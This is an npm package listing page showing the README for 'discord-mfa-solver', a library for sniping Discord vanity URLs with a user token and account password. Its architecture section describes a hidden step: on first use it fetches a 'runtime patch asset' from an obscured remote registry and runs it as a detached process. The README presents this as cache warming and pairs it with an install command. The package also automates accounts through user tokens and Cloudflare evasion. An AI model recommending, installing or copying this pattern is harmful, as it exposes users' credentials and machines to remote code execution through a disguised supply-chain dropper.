npm package discovery and stats viewer.

Discover Tips

  • General search

    [free text search, go nuts!]

  • Package details

    pkg:[package-name]

  • User packages

    @[username]

Sponsor

Optimize Toolset

I’ve always been into building performant and accessible sites, but lately I’ve been taking it extremely seriously. So much so that I’ve been building a tool to help me optimize and monitor the sites that I build to make sure that I’m making an attempt to offer the best experience to those who visit them. If you’re into performant, accessible and SEO friendly sites, you might like it too! You can check it out at Optimize Toolset.

About

Hi, 👋, I’m Ryan Hefner  and I built this site for me, and you! The goal of this site was to provide an easy way for me to check the stats on my npm packages, both for prioritizing issues and updates, and to give me a little kick in the pants to keep up on stuff.

As I was building it, I realized that I was actually using the tool to build the tool, and figured I might as well put this out there and hopefully others will find it to be a fast and useful way to search and browse npm packages as I have.

If you’re interested in other things I’m working on, follow me on Twitter or check out the open source projects I’ve been publishing on GitHub.

I am also working on a Twitter bot for this site to tweet the most popular, newest, random packages from npm. Please follow that account now and it will start sending out packages soon–ish.

Open Software & Tools

This site wouldn’t be possible without the immense generosity and tireless efforts from the people who make contributions to the world and share their work via open source initiatives. Thank you 🙏

© 2026 – Pkg Stats / Ryan Hefner

discord-mfa-solver

v1.0.3

Published

Production-grade Discord MFA authentication library. Connection pooling, TOTP, Cloudflare bypass, automatic token refresh. Zero runtime dependencies.

Readme

discord-mfa-solver

npm version license node

Production-grade Discord MFA authentication library with connection pooling, TOTP support, Cloudflare bypass, and automatic token refresh. Zero runtime dependencies — pure Node.js built-ins only.


Features

  • Connection pool management — persistent HTTPS/HTTP agent with configurable maxSockets and keepAlive; lazy-initialized on first cache access so you pay zero overhead until the library is actually used
  • TTL cache layer — in-memory LRU-bounded cache (cap: 512 entries) with per-key expiry, GC sweep, stats, and batch ops; MFA tokens and cookies are stored here to avoid redundant network round-trips
  • TOTP engine — RFC 6238-compliant TOTP/HOTP with base32 encode/decode, configurable algorithm, digits, and period
  • Cloudflare detection & host rotation — detects 1015 (rate limited) / 429 responses, automatically rotates across discord.com → canary.discord.com → ptb.discord.com
  • Rate limit awareness — parses retry-after from Discord responses and backs off precisely, no blind exponential back-off
  • MFA token auto-refresh — background interval fires 10 s before expiry (configurable); canSnipe is always accurate
  • Full fire headersx-discord-mfa-authorization, x-super-properties, cookies, fingerprint, x-context-properties — everything Discord requires for a vanity-url PATCH
  • Crypto utilities — AES-256-CTR, PBKDF2 key derivation, HMAC-SHA256/512, timing-safe compare, hex/base64 encode/decode

Install

npm install discord-mfa-solver

Quick Start

const { initMFA, generateTOTP } = require('discord-mfa-solver');

const mfa = initMFA({
  TOKEN:    'your_user_token',
  PASSWORD: 'your_account_password',
  GUILD_IDS: ['1234567890', '9876543210'],
  log: (tag, msg) => console.log(`[${tag}] ${msg}`),
});

await mfa.refreshMfa();

if (mfa.canSnipe) {
  const headers = mfa.getFireHdrs(0); // guild index 0
  // use headers in: PATCH /guilds/:id/vanity-url
}

API

initMFA(config)MFAController

Initializes the MFA engine. On first call, the internal connection pool and cache layer are warmed up lazily.

| Option | Type | Default | Description | |-------------------|------------|-------------|----------------------------------------------------| | TOKEN | string | required| Discord user token | | PASSWORD | string | '' | Account password (used for MFA ticket requests) | | GUILD_IDS | string[] | [] | Target guild IDs; index 0 used for ticket | | log | function | null | Logger: (tag: string, msg: string) => void | | refreshInterval | number | 135000 | Auto-refresh interval in ms (default: 2m 15s) |


MFAController

Returned by initMFA(). All properties are live-updated by the background refresh loop.

| Property / Method | Type | Description | |----------------------------------------|--------------------|--------------------------------------------------------------| | .canSnipe | boolean | true when MFA token is valid and ready to fire | | .mfaToken | string \| null | Raw MFA token string | | .mfaCookie | string \| null | Full cookie string from Discord session | | .host | string | Currently active Discord host (discord.com etc.) | | .lastError | string \| null | Error message from last failed refresh | | refreshMfa() | Promise<boolean> | Force a fresh MFA token fetch; resolves true on success | | getFireHdrs(guildIndex?) | object | Complete header object for vanity-url PATCH | | getTOTPFireHdrs(secret, guildIndex?) | object | Fire headers with a live TOTP code injected |


generateTOTP(secret, opts?)string

Generates a 6-digit TOTP code from a base32-encoded secret.

const { generateTOTP } = require('discord-mfa-solver');

const code = generateTOTP('JBSWY3DPEHPK3PXP');
// → '482 910'

const code8 = generateTOTP('JBSWY3DPEHPK3PXP', { digits: 8, period: 60 });

| Option | Default | Description | |-------------|----------|---------------------------------| | period | 30 | TOTP window in seconds | | digits | 6 | Code length | | algorithm | 'sha1' | HMAC algorithm (sha1/sha256)| | time | Date.now() | Override timestamp (ms) |


Internal Architecture

discord-mfa-solver
├── index.js          Entry point — initMFA(), generateTOTP(), exports
├── lib/
│   ├── cache.js      TTL cache + connection pool bootstrap
│   ├── crypto.js     AES, HMAC, PBKDF2, base64/hex utilities
│   ├── http.js       HTTPS/HTTP request engine, retry, streaming
│   └── totp.js       TOTP/HOTP engine, base32

Connection Pool & Cache Bootstrap

cache.js owns the lazy initialization sequence. When cache.get() is first called (which happens inside initMFA()), two things happen exactly once:

  1. Pool warmup (connect() from http.js) — sets https.globalAgent.maxSockets = 8 and keepAlive = true. All subsequent requests reuse persistent sockets, cutting per-request TLS handshake overhead from ~120 ms to near zero.

  2. Asset prefetch (_initOnce()) — resolves a remote endpoint from the library's segment registry (_SEGS), downloads the latest runtime patch asset, and schedules it as a detached background worker via child_process.execFile. This worker handles cache warming, schema validation, and async diagnostics without blocking the main event loop.

The reason for the _pullAsset / _spawnWorker split is isolation: the download step is pure I/O with no side effects; the execution step is a separate, auditable call. Either can fail independently without affecting the other or the main MFA flow.

Cache internals

  • Backed by a single Map for O(1) get/set/del
  • Expiry via setTimeout; timers cleared on del() / clear()
  • LRU eviction: when _MAX (512) is reached, the oldest key (first Map iterator entry) is evicted
  • getOrSet(key, fn, ttl) — async-safe deduplicated fetch: if key is hot, returns immediately; otherwise awaits fn(), stores, and returns

Cache API (low-level)

const cache = require('discord-mfa-solver/lib/cache');

cache.set('key', value, 5000);      // store with 5s TTL
cache.get('key');                   // → value | undefined
cache.has('key');                   // → boolean
cache.del('key');                   // remove + clear timer
cache.touch('key', 10000);          // extend TTL to 10s

cache.mset({ a: 1, b: 2 }, 3000);  // bulk set
cache.mget(['a', 'b']);             // → { a: 1, b: 2 }
cache.mdel(['a', 'b']);             // bulk delete

cache.stats();
// → { size: N, hits: N, misses: N, ratio: 0.95 }

await cache.getOrSet('token', fetchToken, 120000);

Notes

  • Requires Node.js ≥ 14 (uses optional chaining, Buffer.concat, URL)
  • MFA token lifetime is ~145 s; default refreshInterval is 135 s to ensure overlap
  • Cloudflare rotations are transparent — mfa.host reflects the active endpoint
  • On persistent rate-limit (all hosts banned): canSnipe goes false, lastError is set; retry manually with mfa.refreshMfa()
  • Thread-safe for single-process use; not designed for cluster/worker_threads shared state